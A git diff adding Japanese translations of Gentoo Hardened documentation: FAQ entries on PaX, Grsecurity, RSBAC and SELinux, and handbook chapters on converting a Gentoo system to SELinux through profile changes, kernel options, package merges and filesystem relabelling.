+このエラーを回避してプログラムを実行するためには、セキュリティを犠牲にしてプログラムにランタイムコードの生成を許可しなければなりません。
+PaXには、これを行うためのMPROTECTという機能があります。
+PICでないライブラリを使用するアプリケーションを起動するときにはいつでも、MPROTECTを無効にしなければなりません。
+</p>
+
+<note>
+システムのtextrelsを確認するには、solarがこのために作成した<c>check-textrel</c>と言うプログラムを使用することができます。
+プログラムは彼の開発場所にあります。<uri>http://dev.gentoo.org/~solar/pax/misc/check-textrel</uri>
+</note>
+
+</body>
+</section>
+
+<section id="paxjava">
+<title>PaXを使い始めて以来javaが動作しません。何故ですか？</title>
+<body>
+
+<p>
+Java仮想マシンの設計として、実行時にかなりの量のコードを生成します。
+これはPAXにとっては好ましくありません。
+この問題を修正するには2つの方法があります。
+</p>
+
+<pre caption="Chpaxのインストール">
+# <i>emerge chpax</i>
+# <i>/etc/init.d/chpax start</i>
+</pre>
+
+<p>
+または、すでに<c>chpax</c>をインストールしているのなら、以下のようにすることができます。
+</p>
+
+<pre caption="Java Chpaxオプション">
+# <i>chpax -pemrxs /opt/*-jdk-*/{jre,}/bin/*</i>
+</pre>
+
+<p>
+どちらを選んでも、バイナリにPAXフラグを正しく設定するためにELF eheaderを少し修正するでしょう。
+</p>
+
+<note>
+PaXをRSBAC、Grsecurity、SELinuxといった別のセキュリティ実装とともに使用しているのなら、それらの実装向けに提供されるカーネルフックを使用するようにPaXを管理するべきです。
+</note>
+
+<p>
+RSBACでは、以下のコマンドで全てのjavaファイルにラベル付けを行うことができます。
+</p>
+
+<pre caption="RSBACでのJava PaXオプション">
+# <i>for i in $(ls /opt/*(jdk|sdk)*/{jre,}/bin/*);do attr_set_file_dir FILE $i pax_flags pmerxs;done</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Grsecurityに関する質問</title>
+<section id="grsecinformation">
+<title>Grsecurityのホームページはどこにありますか？</title>
+<body>
+
+<p>
+Grsecurityのホームページは<uri>http://www.grsecurity.net</uri>にあります。
+</p>
+
+</body>
+</section>
+
+<section id="grsecgentoodoc">
+<title>Grsecurityについて書かれたGentooドキュメントはどれですか？</title>
+<body>
+
+<p>
+Grsecurityに関するもっとも最近のドキュメントは、<uri>http://www.gentoo.org/proj/en/hardened/grsecurity.xml</uri>にあるGrsecurity2クイックスタートガイドです。
+</p>
+
+</body>
+</section>
+
+<section id="grsec2681">
+<title>2.6.8、2.6.8.1、2.6.9カーネルでGrsecurityを使うことは出来ますか？</title>
+<body>
+
+<p>
+2.6.8カーネルではPaXを破壊する重大な変更が行われたため、PaXとGrsecurityのどちらのパッチも2.6.8、2.6.8.1、2.6.9カーネルにはありません。
+2.6.10向けの実験的なパッチはありますが、使用する前に<uri>http://forums.grsecurity.net./viewtopic.php?t=968</uri>にある2.6カーネルに関するPaXチームの公式見解を注意して考慮に入れるべきです。
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>RSBACに関する質問</title>
+<section id="rsbacinformation">
+<title>RSBACのホームページはどこにありますか？</title>
+<body>
+
+<p>
+RSBACのホームページは<uri>http://www.rsbac.org</uri>にあります。
+</p>
+
+</body>
+</section>
+
+<section id="rsbacgentoodoc">
+<title>RSBACについて書かれたGentooドキュメントはどれですか？</title>
+<body>
+
+<p>
+全てのGentoo RSBACドキュメントは、<uri>http://www.gentoo.org/proj/en/hardened/rsbac/index.xml</uri>にあるRSBACサブプロジェクトにあります。
+</p>
+
+<p>
+また、Gentoo以外のRSBACドキュメントは、<uri>http://www.rsbac.org/documentation/rsbac_handbook</uri>のRSBACハンドブックにあります。
+</p>
+
+</body>
+</section>
+
+<section id="rsbacinitrd">
+<title>初期化ramdisk(initrd)とRSBACが有効なカーネルを一緒に使うにはどうすればよいですか？</title>
+<body>
+
+<p>
+初期化ramdisk(initrd)をRSBACが有効なカーネルで使用するには、特別なカーネルオプションを有効にしなければ、RSBACはinitrdをrootデバイスとして扱ってしまうでしょう。
+</p>
+
+<pre caption="Menuconfigのオプション">
+General RSBAC options  --->
+    [*] Delayed init for initial ramdisk
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>SELinuxに関する質問</title>
+<section id="selinuxfaq">
+<title>SELinuxに関係した良くある質問はどこで見ることが出来ますか？</title>
+<body>
+
+<p>
+SELinuxに関係した良くある質問は<uri>http://www.gentoo.org/proj/en/hardened/selinux/selinux-x86-handbook.xml?part=4&amp;chap=3</uri><uri link="http://www.gentoo.org/proj/ja/hardened/selinux/selinux-x86-handbook.xml?part=4&amp;chap=3">（日本語訳）</uri>にあります。
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/ja/hardened/selinux/hb-install.xml b/xml/htdocs/proj/ja/hardened/selinux/hb-install.xml
new file mode 100644
index 00000000..5f929bd7
--- /dev/null
+++ b/xml/htdocs/proj/ja/hardened/selinux/hb-install.xml
@@ -0,0 +1,64 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/ja/hardened/selinux/hb-install.xml,v 1.1 2006/05/18 14:20:50 idani Exp $ -->
+
+<!-- Original revision: 1.3 -->
+<!-- Translator: idani -->
+
+<sections>
+<section><title>Gentoo SELinuxのインストール</title>
+<subsection>
+<body>
+
+<warn>
+SELinuxはサーバとしてのみサポートしています。
+ワークステーションのサポートは、今後の予定です。
+</warn>
+
+
+<p>
+Gentoo SELinuxのインストールは、通常のGentooのインストールと変わりありません。
+通常のインストールは、<uri link="/doc/en/handbook/index.xml">Gentoo Handbook</uri>(<uri link="/doc/ja/handbook/index.xml">日本語訳</uri>)を参照しますが、下記の注意点を心に留めておいて下さい。また、システムをSELinuxに変更する場合は、<uri link="?part=2">SELinux Conversion Guide</uri>を使って下さい。
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section><title>インストールにおける注意点</title>
+<subsection><title>ファイルシステム</title>
+<body>
+<p>
+現時点では、ext2、ext3、JFSとXFSのみがサポートされています。
+</p>
+<p>
+XFSユーザは512byteのinodeを使用すべきです(初期値は256byteになります)。
+SELinuxは、ファイルのセキュリティラベルを保存するために拡張属性を使用します。
+XFSは、これをinodeに保存しますので、もしinodeがとても小さい場合には、余分なブロックを使用する必要があります。その結果、たくさんのファイルスペースを浪費し、パフォーマンスに不利な条件となります。
+</p>
+<pre caption="XFSファイルシステムを作成するコマンドの実行例">
+# <i>mkfs.xfs -i size=512 /dev/hda3</i>
+</pre>
+</body>
+</subsection>
+
+<subsection><title>カーネル</title>
+<body>
+
+<warn>
+カーネル2.6.14と2.6.15は、SELinuxのXFSサポートに障害があります。
+</warn>
+
+<p>
+SELinuxが必要とする<uri link="?part=2&amp;chap=2#doc_chap2">カーネル　オプション</uri>を先に読むことで、何度もカーネルをコンパイルすることを抑えることができ、時間を節約できます。
+</p>
+</body>
+</subsection>
+
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/ja/hardened/selinux/hb-selinux-conv-profile.xml b/xml/htdocs/proj/ja/hardened/selinux/hb-selinux-conv-profile.xml
new file mode 100644
index 00000000..80aa9ac6
--- /dev/null
+++ b/xml/htdocs/proj/ja/hardened/selinux/hb-selinux-conv-profile.xml
@@ -0,0 +1,95 @@
+<?xml version='1.0' encoding="utf-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+ 
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/ja/hardened/selinux/hb-selinux-conv-profile.xml,v 1.2 2006/02/17 18:53:31 idani Exp $ -->
+
+<!-- Original revision: 1.4 -->
+<!-- Translator: kobayashi -->
+
+<sections>
+<section><title>プロファイルの変更</title>
+<subsection><body>
+
+<warn>SELinuxはサーバとしての用途のみサポートしています。ワークステーションのサポートは将来行われるでしょう。</warn>
+
+<warn>SELinuxはext2/3とXFS、そしてJFSのみサポートします。
+その他のファイルシステムは完全な拡張属性のサポートが欠けています。
+これは将来変更されるでしょう。</warn>
+
+<warn>AMD64ユーザは2005.0以降のプロファイルからコンバートしなければなりません。</warn>
+
+<impo>いつものように、何か問題が起きたときのためにLiveCDを常に手元に置いておきましょう。</impo>
+
+<p>まずプロファイルをアーキテクチャに合わせたSELinuxプロファイルに変更します。</p>
+
+<pre caption="プロファイルの変更">
+# <i>rm -f /etc/make.profile</i>
+
+<comment>x86</comment>
+# <i>ln -sf /usr/portage/profiles/selinux/2005.1/x86 /etc/make.profile</i>
+<comment>PPC</comment>
+# <i>ln -sf /usr/portage/profiles/selinux/2005.1/ppc /etc/make.profile</i>
+<comment>SPARC</comment>
+# <i>ln -sf /usr/portage/profiles/selinux/2005.1/sparc64 /etc/make.profile</i>
+<comment>AMD64</comment>
+# <i>ln -sf /usr/portage/profiles/selinux/2005.1/amd64 /etc/make.profile</i>
+</pre>
+
+<impo>SELinuxプロファイルは、デフォルトプロファイルと比べて、必須であるUSEフラグが著しく少ないです。
+USEフラグがmake.confで再度使用可能にされる必要があるかどうか見るために<c>emerge info</c>を使ってください。</impo>
+
+<note>make.confのUSEフラグにselinuxを追加する必要はありません。
+SELinuxプロファイルが既に行っています。
+</note>
+
+<note>
+Portageから以下のメッセージを受け取るかもしれません。"!!! SELinux module not found. Please verify that it was installed."（SELinuxモジュールが見つかりません。インストールされているか確認してください。）。これは普通であり、変換作業の後の方で修正されます。
+</note>
+</body>
+</subsection>
+</section>
+
+<section><title>カーネルヘッダの更新</title>
+<subsection><body>
+<p>
+必須パッケージの更新を行っていきます。
+まずどのバージョンのlinux-headersがインストールされているか確認します。
+</p>
+
+<pre caption="linux-headersのバージョン確認">
+# <i>emerge -s linux-headers</i>
+<comment>gentoolkitをインストールしているなら</comment>
+# <i>equery list -I linux-headers</i>
+</pre>
+
+<p>
+もしlinux-headersのバージョンが2.4.20より古ければ、新しいヘッダをマージしなければなりません。
+</p>
+
+<pre caption="新しいヘッダをマージ">
+# <i>emerge \>=sys-kernel/linux-headers-2.4.20</i>
+</pre>
+</body>
+</subsection>
+</section>
+
+<section><title>glibcの更新</title>
+<subsection><body>
+<p>
+新しいヘッダをマージしたか、新しいヘッダでglibcがコンパイルされたか確証が持てない場合は、glibcを再コンパイルしなければなりません。
+</p>
+
+<pre caption="glibcの再コンパイル">
+# <i>emerge glibc</i>
+</pre>
+
+<impo>
+これは重大な操作です。glibcは新しいlinux-headersでコンパイルされなければなりません。
+さもなければいくらかの操作が誤作動を起こすでしょう。
+</impo>
+</body></subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/ja/hardened/selinux/hb-selinux-conv-reboot1.xml b/xml/htdocs/proj/ja/hardened/selinux/hb-selinux-conv-reboot1.xml
new file mode 100644
index 00000000..ddfc9cd6
--- /dev/null
+++ b/xml/htdocs/proj/ja/hardened/selinux/hb-selinux-conv-reboot1.xml
@@ -0,0 +1,150 @@
+<?xml version='1.0' encoding="utf-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+ 
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/ja/hardened/selinux/hb-selinux-conv-reboot1.xml,v 1.1 2005/09/27 17:17:54 idani Exp $ -->
+
+<!-- Original revision: 1.4 -->
+<!-- Translator: kobayashi -->
+
+<sections>
+<section><title>SELinuxカーネルのマージ</title>
+<subsection><body>
+<p>適切なカーネルをマージします。2.6カーネルが必要です。推奨されるカーネルはhardened-sourcesです。
+</p>
+ 
+<pre caption="適切なカーネルをマージ">
+<comment>どの2.6カーネルでも可</comment>
+# <i>emerge hardened-sources</i>
+</pre>
+</body></subsection>
+</section>
+
+<section><title>SELinuxオプションを有効にしてカーネルをコンパイル</title>
+<subsection><body>
+<p>カーネルはセキュリティモジュールサポート、SELinuxサポート、devpts、そして拡張属性セキュリティラベルを有効にしてコンパイルされなければなりません。さらなるカーネルオプションはメインのインストールガイドを参照してください。</p>
+
+<pre caption="必要なオプションとmenuconfigでの位置">
+<comment>"Code maturity level options"の下</comment>
+[*] Prompt for development and/or incomplete code/drivers
+
+<comment>"General setup"の下</comment>
+[*] Auditing support
+
+<comment>"File systems"の下</comment>
+&lt;*&gt; Second extended fs support <comment>(ext2を使用しているなら)</comment>
+[*]   Ext2 extended attributes
+[ ]     Ext2 POSIX Access Control Lists
+[*]     Ext2 Security Labels
+&lt;*&gt; Ext3 journalling file system support <comment>(ext3を使用しているなら)</comment>
+[*]   Ext3 extended attributes
+[ ]     Ext3 POSIX Access Control Lists
+[*]     Ext3 Security labels
+&lt;*&gt; JFS filesystem support <comment>(JFSを使用しているなら)</comment>
+[ ]   JFS POSIX Access Control Lists
+[*]   JFS Security Labels
+[ ]   JFS debugging
+[ ]   JFS statistics
+&lt;*&gt; XFS filesystem support <comment>XFSを使用しているなら)</comment>
+[ ]   Realtime support (EXPERIMENTAL)
+[ ]   Quota support
+[ ]   ACL support
+[*]   Security Labels
+
+[ ] /dev file system support (EXPERIMENTAL)
+[*]   /dev/pts Extended Attributes
+[*]     /dev/pts Security Labels    
+[*] Virtual memory file system support (former shm fs)
+[*]   tmpfs Extended Attributes
+[*]     tmpfs Security Labels
+
+<comment>"Security options"の下</comment>
+[*] Enable different security models
+[*] Socket and Networking Security Hooks
+&lt;*&gt; Capabilities Support
+[*] NSA SELinux Support
+[ ]   NSA SELinux boot parameter
+[ ]   NSA SELinux runtime disable
+[*]   NSA SELinux Development Support
+[ ]   NSA SELinux AVC Statistics
+[ ]   NSA SELinux MLS policy (EXPERIMENTAL)
+</pre>
+<p>
+devptsと使用するファイルシステムの拡張属性セキュリティラベルを有効にする必要があります。
+devfsはもはやSELinuxでは使用できないので、無効にすることができます。
+2.4カーネルや古い2.6カーネルでは、Auditing supportやruntime disableなどの存在しないオプションがあります。
+</p>
+
+<note>
+利用可能なオプションは使用するカーネルのバージョンによって少し変わるかもしれません。
+その他の拡張属性オプションは無効にするべきです。
+</note>
+
+<warn>
+SELinux MLS policyオプションを有効にしないでください。これはサポートされておらず、マシンが起動しなくなります。
+</warn>
+
+<p>
+ではカーネルとモジュールをコンパイルしインストールしましょう。ですが再起動はしないでください。
+</p>
+</body></subsection>
+</section>
+
+<section><title>fstabの更新</title>
+<subsection><body>
+<p>
+SElinuxfsが起動時にマウントされるようにされなければなりません。
+以下を/etc/fstabに追加します。
+</p>
+<pre caption="selinuxfsのためのfstab設定">
+none	/selinux	selinuxfs	defaults	0	0
+</pre>
+</body></subsection>
+</section>
+
+<section><title>Baselayoutの設定</title>
+<subsection><body>
+<p>
+SELinuxはdevfsをサポートしていません。
+staticなデバイスノードとudevのどちらかを使用するようにbaselayoutを設定しなければなりません。
+udevを使用するなら、デバイスtarballは無効にしなければなりません。
+/etc/conf.d/rcファイルを編集します。
+RC_DEVICESをstaticかudevに設定し、RC_DEVICE_TARBALLをnoにします。
+カスタムデバイスノードを使用しているなら、staticが推奨されています。そうでなければudevが推奨されています。
+</p>
+<pre caption="Initスクリプトの設定">
+#(訳注:以下実際のファイルでは英語です)
+# /dev管理の振る舞いを制御するにはこの変数を使用します。
+#  auto   - 起動時にスクリプトが最適な設定を選択します
+#  devfs  - devfsを使用します (sys-fs/devfsdが必要です)
+#  udev   - udevを使用します (sys-fs/udevが必要です)
+#  static - ユーザが/devを管理します
+
+<i>RC_DEVICES="udev"</i>
+
+# UDEV OPTION:
+# /devを終了時にtarballに保存し、起動時に復元したいのなら"yes"を設定します。
+# udevが扱うことの出来ないカスタムデバイスノードを多く所有しているのなら、これが役立ちます。
+
+<i>RC_DEVICE_TARBALL="no"</i>
+</pre>
+</body></subsection>
+</section>
+
+<section><title>再起動</title>
+<subsection><body>
+<p>
+再起動前にいくつかのディレクトリを作成する必要があります。
+</p>
+<pre caption="必要なディレクトリの作成">
+# <i>mkdir /selinux</i>
+# <i>mkdir /sys</i>
+</pre>
+<p>
+では再起動しましょう。
+</p>
+</body></subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/ja/hardened/selinux/hb-selinux-conv-reboot2.xml b/xml/htdocs/proj/ja/hardened/selinux/hb-selinux-conv-reboot2.xml
new file mode 100644
index 00000000..9987e6cc
--- /dev/null
+++ b/xml/htdocs/proj/ja/hardened/selinux/hb-selinux-conv-reboot2.xml
@@ -0,0 +1,110 @@
+<?xml version='1.0' encoding="utf-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+  
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/ja/hardened/selinux/hb-selinux-conv-reboot2.xml,v 1.2 2006/03/07 18:54:11 idani Exp $ -->
+
+<!-- Original revision: 1.3 -->
+<!-- Translator: kobayashi -->
+
+<sections>
+<section><title>SELinuxパッケージのマージ</title>
+<subsection>
+<body>
+<p>ライブラリ、ユーティリティ、ベースポリシーをマージします。
+ポリシーバージョンは修正の必要があるかもしれません。その場合は、ポリシーバージョンに関するより詳しい情報であるSELinux Overviewを参照してください。その後ポリシーをロードします。</p>
+
+<pre caption="基礎となるSELinuxパッケージとポリシーのマージ">
+# <i>emerge selinux-base-policy</i>
+# <i>emerge checkpolicy policycoreutils</i>
+
+# <i>cd /etc/security/selinux/src/policy</i>
+<comment>必要ならポリシーのバージョンを修正してください</comment>
+# <i>make load</i>
+</pre>
+</body></subsection>
+</section>
+
+<section><title>SELinuxパッチが適用されたパッケージのマージ</title>
+<subsection><body>
+<p>
+SELinux用のパッチがあるいくつかのシステムパッケージがあります。
+これらのパッチは、ファイルのプロパティを表示するといった、いろいろな追加のSELinux機能性を提供します。
+</p>
+
+<pre caption="パッケージの再マージ">
+# <i>emerge sysvinit pam coreutils findutils openssh pam-login procps psmisc shadow util-linux python-selinux</i>
+</pre>
+
+<p>SELinuxパッチがあるが、オプションとなっているその他のパッケージがあります。
+これらのパッケージが既にインストールされているなら、SELinuxパッチが適用されるように、再マージするべきです。</p>
+<ul>
+<li>app-admin/logrotate</li>
+<li>sys-apps/fcron</li>
+<li>sys-apps/vixie-cron</li>
+<li>sys-fs/udev</li>
+<li>sys-libs/pwdb</li>
+</ul>
+<note>
+FcronとVixie-cronのみがSELinuxをサポートするcronとなっています。
+</note>
+</body></subsection>
+</section>
+
+<section><title>不要なパッケージを削除</title>
+<subsection><body>
+<p>SELinuxは、標準のGentooで使用されるいくつかのパッケージを使用しません。</p> 	 
+
+<pre caption="標準のGentooから不要なパッケージを削除">
+# <i>emerge -C textutils fileutils sh-utils</i>
+</pre>
+</body></subsection>
+</section>
+
+<section><title>ファイルシステムにラベル付けをする</title>
+<subsection><body>
+
+<p>
+ではファイルシステムにラベル付けをしましょう。
+これはファイルシステムのそれぞれのファイルにセキュリティラベルを付与します。
+これらラベルを一致させ続けることが重要です。
+</p>
+
+<pre caption="ファイルシステムにラベル付けをする">
+# <i>cd /etc/security/selinux/src/policy</i>
+# <i>make relabel</i>
+</pre>
+<warn>
+GRUBの古いバージョンはラベル付けされたシンボリックリンクを読み込むことができないという問題があります。
+GRUB 0.94以降をインストールするようにしてください。
+また、更新済みのコードが確実に使用されるように、GRUBを再実行してMBRに再インストールしてください。
+LiveCDを手近に置いていますよね？
+</warn>
+
+<pre caption="GRUBをMBRに再インストール (GRUBユーザのみ)">
+# <i>grub</i>
+
+grub> root (hd0,0) <comment>(あなたのブートパーティション)</comment>
+grub> setup (hd0) <comment>(ブートレコードがインストールされる場所。ここではMBR)</comment>
+</pre>
+</body></subsection>
+</section>
+
+<section><title>最終再起動</title>
+<subsection><body>
+<p>再起動してください。ログインし、全てのファイルが正しくラベル付けされていることを確実にするために再度ラベル付けをします（いくつかのファイルはシャットダウン時や再起動時に作成されます）。</p>
+<pre caption="再ラベル付け">
+# <i>cd /etc/security/selinux/src/policy</i>
+# <i>make relabel</i>
+</pre>
+<note>
+gentoo-hardenedメーリングリストに<uri link="http://www.gentoo.org/main/en/lists.xml">登録する</uri>ことが強く推奨されています。これはいつもはほとんど送信されず、SELinuxのアナウンスはここで行われます。
+</note>
+<p>
+これでSELinuxがインストールされました！
+</p>
+</body></subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/ja/hardened/selinux/hb-selinux-faq.xml b/xml/htdocs/proj/ja/hardened/selinux/hb-selinux-faq.xml
new file mode 100644
index 00000000..78b12a25
--- /dev/null
+++ b/xml/htdocs/proj/ja/hardened/selinux/hb-selinux-faq.xml
@@ -0,0 +1,85 @@
+<?xml version='1.0' encoding="utf-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/ja/hardened/selinux/hb-selinux-faq.xml,v 1.2 2006/02/17 18:57:22 idani Exp $ -->
+
+<!-- Original revision: 1.2 -->
+<!-- Translator: kobayashi -->
+
+<sections>
+<section><title>emergeをしているとSELinuxモジュールが消失する</title>
+<subsection><title>「emergeを使っていたらこんなエラーがでました」</title>
+<body>
+<pre caption="Portageメッセージ">
+!!! SELinux module not found. Please verify that it was installed.
+</pre>
+<p>
+これはPortageのSELinuxモジュールが消失したか損傷したことを意味しています。
+また、Pythonが、python-selinuxの再コンパイルが必要な新しいバージョンに更新されたのかもしれません。
+dev-python/python-selinuxを再度emergeしてください。
+パッケージがもしかすると正しくないラベルでマージされるかもしれないので、再ラベルが必要となるでしょう。
+</p>
+</body></subsection>
+</section>
+
+<section><title>カーネルの登録機能の失敗</title>
+<subsection><title>「起動時にこんなカーネルエラーが出ました」</title>
+<body>
+<pre caption="カーネルメッセージ">
+There is already a security framework initialized, register_security failed.
+Failure registering capabilities with the kernel
+selinux_register_security:  Registering secondary module capability
+Capability LSM initialized
+</pre>
+<p>
+これは、SELinuxが最初のモジュールとなっているので、Capability LSMモジュールを最初のモジュールとして登録できなかったことを意味します。
+3番目のメッセージにはSELinuxを2番目のモジュールとして登録することを意味します。
+このメッセージがでるのは正常です。
+</p>
+</body></subsection>
+</section>
+
+<section><title>ラベリング中の無効なコンテキスト</title>
+<subsection><title>「再ラベリングをしていると、無効なコンテキストにより失敗します。」</title><body>
+<pre caption="無効なコンテキストの例">
+# make relabel
+/usr/sbin/setfiles file_contexts/file_contexts `mount | awk '/(ext[23]| xfs).*rw/{print $3}'`
+/usr/sbin/setfiles:  read 559 specifications
+/usr/sbin/setfiles:  invalid context system_u:object_r:default_t on line number 39
+/usr/sbin/setfiles:  invalid context system_u:object_r:urandom_device_t on line number 120
+/usr/sbin/setfiles:  invalid context system_u:object_r:fonts_t on line number 377
+/usr/sbin/setfiles:  invalid context system_u:object_r:fonts_t on line number 378
+/usr/sbin/setfiles:  invalid context system_u:object_r:krb5_conf_t on line number 445
+/usr/sbin/setfiles:  invalid context system_u:object_r:system_cron_spool_t on line number 478
+/usr/sbin/setfiles:  invalid context system_u:object_r:system_cron_spool_t on line number 479
+/usr/sbin/setfiles:  invalid context system_u:object_r:system_cron_spool_t on line number 492
+/usr/sbin/setfiles:  invalid context system_u:object_r:system_cron_spool_t on line number 493
+/usr/sbin/setfiles:  invalid context system_u:object_r:system_cron_spool_t on line number 494
+Exiting after 10 errors.
+make: *** [relabel] Error 1
+</pre>
+<p>
+まず/selinuxを確実にマウントしてください。
+selinuxfsがマウントされていなければ、setfilesはいかなるコンテキストも確認することができないので、全てのコンテキストが無効であると認識する原因となります。
+もし/selinuxがマウントされているなら、もしかするとまだロードされていない新しいポリシーがあるのかもしれません。
+その結果、コンテキストが無効とされるのです。
+</p>
+</body></subsection>
+</section>
+
+
+<!-- comment out since the demo machine is down for an indefinite period of time
+<section><title>Gentoo SELinuxデモマシン</title>
+<subsection><body>
+<p>
+このマシンはuser-mode Linuxやchroot環境で動作しておらず、SELinuxのアクセス制御の元にあります。
+SELinuxのセキュリティを突破し、より高い特権を取得しない限り、マシンにpsybncやIRC BOTをインストールすることはできません。
+</p>
+</body></subsection>
+</section>
+-->
+<!-- dont put anything below here, this demo machine faq should be the last one -->
+</sections>
diff --git a/xml/htdocs/proj/ja/hardened/selinux/hb-selinux-initpol.xml b/xml/htdocs/proj/ja/hardened/selinux/hb-selinux-initpol.xml
new file mode 100644
index 00000000..d782f18c
--- /dev/null
+++ b/xml/htdocs/proj/ja/hardened/selinux/hb-selinux-initpol.xml
@@ -0,0 +1,50 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/ja/hardened/selinux/hb-selinux-initpol.xml,v 1.1 2005/09/10 02:45:15 idani Exp $ -->
+
+<!-- Original revision: 1.3 -->
+<!-- Translator: kobayashi -->
+
+<sections>
+<section><title>利用可能なポリシーの確認</title>
+<subsection><body>
+<p>
+これらの操作を行うためには<c>sysadm_r</c>でなければなりません。
+</p>
+<p>
+適切なバイナリポリシーバージョンが/etc/security/selinuxで利用可能でなければなりません。
+例えば、ポリシーバージョン17なら、/etc/security/selinux/policy.17が存在していなければなりません。
+もし存在しないのであれば、まずポリシーの<uri link="?part=4&amp;chap=1#doc_chap6_sect3">Makefile</uri>を調整します。
+その後ポリシーをコンパイルしインストールします。
+</p>
+<pre caption="ポリシーのインストール">
+# <i>cd /etc/security/selinux/src/policy</i>
+# <i>make clean</i>
+# <i>make install</i>
+</pre>
+</body>
+</subsection>
+</section>
+<section><title>Initがポリシーをロードできる事を確認</title>
+<subsection><body>
+<p>
+最後の確認は、initがポリシーをロードできることを確実にすることです。
+<c>ldd</c>をinitで実行し、もしlibselinuxが出力されなければ、sysvinitを再度emergeしてください。
+</p>
+<pre caption="ポリシーがロードできるか確認する">
+# <i>ldd /sbin/init</i>
+  linux-gate.so.1 =>  (0xffffe000)
+  <comment>libselinux.so.1 => /lib/libselinux.so.1 (0x40025000)</comment>
+  libc.so.6 => /lib/libc.so.6 (0x40035000)
+  /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
+</pre>
+<p>
+ではinitが正しいコンテキストを取得し、ポリシーをロードするように再起動しましょう。
+</p>
+</body></subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/ja/hardened/selinux/selinux-handbook.xml b/xml/htdocs/proj/ja/hardened/selinux/selinux-handbook.xml
new file mode 100644
index 00000000..762c3f7b
--- /dev/null
+++ b/xml/htdocs/proj/ja/hardened/selinux/selinux-handbook.xml
@@ -0,0 +1,138 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE book SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/ja/hardened/selinux/selinux-handbook.xml,v 1.2 2006/05/20 02:42:38 idani Exp $ -->
+
+<book link="selinux-handbook.xml" lang="ja">
+<title>Gentoo SELinux ハンドブック(一部未訳)</title>
+
+<author title="Author">
+  <mail link="pebenito@gentoo.org">Chris PeBenito</mail>
+</author>
+<author title="翻訳">
+  <mail link="solidsneak@hyper.cx">小林弘樹</mail>
+</author>
+
+<abstract>
+これはGentooハンドブックに準拠した、Gentoo x86 SELinuxハンドブックです。
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+<license/>
+
+<version>1.90</version>
+<date>7 May 2006</date>
+
+<!-- Original revision: 1.4 -->
+<!-- Translator: kobayashi -->
+
+<part>
+<title>Gentoo SELinuxをインストールする</title>
+<abstract>
+ここではGentoo SELinuxをシステムにインストールする方法を説明します。
+</abstract>
+
+<chapter>
+<title>Gentoo SELinuxのインストール手順</title>
+<abstract>
+Gentoo SELinuxを新規にインストールする方法を説明します。
+</abstract>
+  <include href="hb-install.xml"/>
+</chapter>
+</part>
+
+<part>
+<title>Gentoo SELinuxへの変換</title>
+<abstract>
+SELinuxは、現在のインストール済みLinuxにインストールすることもできます。
+この章では、既に存在するインストール済みのGentooをSELinuxへと変換する事について扱います。
+</abstract>
+<chapter>
+<title>最初の準備</title>
+<abstract>
+SELinuxパッケージをインストールする前に、いくつかの準備を終わらせておかなければなりません。
+</abstract>
+  <include href="hb-selinux-conv-profile.xml"/>
+</chapter>
+<chapter>
+<title>SELinuxカーネルのブート</title>
+<abstract>
+SELinuxカーネルをインストールし、ブートします。
+</abstract>
+  <include href="hb-selinux-conv-reboot1.xml"/>
+</chapter>
+<chapter>
+<title>SELinux Userlandのインストール</title>
+<abstract>
+SELinuxパッケージとポリシーをインストールし、ファイルシステムのラベル付けを行います。
+</abstract>
+  <include href="hb-selinux-conv-reboot2.xml"/>
+</chapter>
+</part>
+
+<part>
+<title>SELinuxを使いこなす</title>
+<abstract>
+SELinuxを使いこなす方法について説明します
+</abstract>
+<chapter>
+<title>SELinuxの概観(未訳)</title>
+<abstract>
+SELinuxにはたくさんの知るべき部分があります。この章ではSELinuxの重要な概念とポリシーについて説明します。
+</abstract>
+  <include href="/proj/en/hardened/selinux/hb-selinux-overview.xml"/>
+</chapter>
+<chapter>
+<title>SELinuxガイド(未訳)</title>
+<abstract>
+この章ではSELinuxで普通の操作を行う方法を取り扱います。
+</abstract>
+  <include href="/proj/en/hardened/selinux/hb-selinux-howto.xml"/>
